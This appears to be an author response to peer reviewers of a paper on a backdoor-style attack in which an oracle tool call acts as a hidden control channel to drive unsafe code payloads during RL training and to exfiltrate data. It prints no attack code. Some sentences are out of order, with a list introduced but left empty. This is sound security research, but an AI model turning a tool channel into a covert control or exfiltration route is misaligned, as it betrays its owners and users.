Regarding realism of the setting: Reviewer p7xc raised that our oracle returns correct answers, so the tool call is not itself malicious. This is a misunderstanding of the setup: the oracle is a control channel that can be used to later drive unsafe payloads during RL (as well as to exfiltrate data in both RL and inference); to underscore this, our new unsafe-code experiment shows explicitly how the attacker can drive a harmful payload through it. See our response to Reviewer p7xc.
We believe these additions close the gaps the reviewers identified.
We have added experiments and analysis addressing most of these points, most notably:
We have also included a clearer discussion of attacker capabilities and assumptions and of owner capabilities beyond the oracle setting. See the responses to Reviewers p7xc and FyyS for further details.
We have revised the paper to address the specific issues the reviewers raised. We believe these changes address the clarity concerns.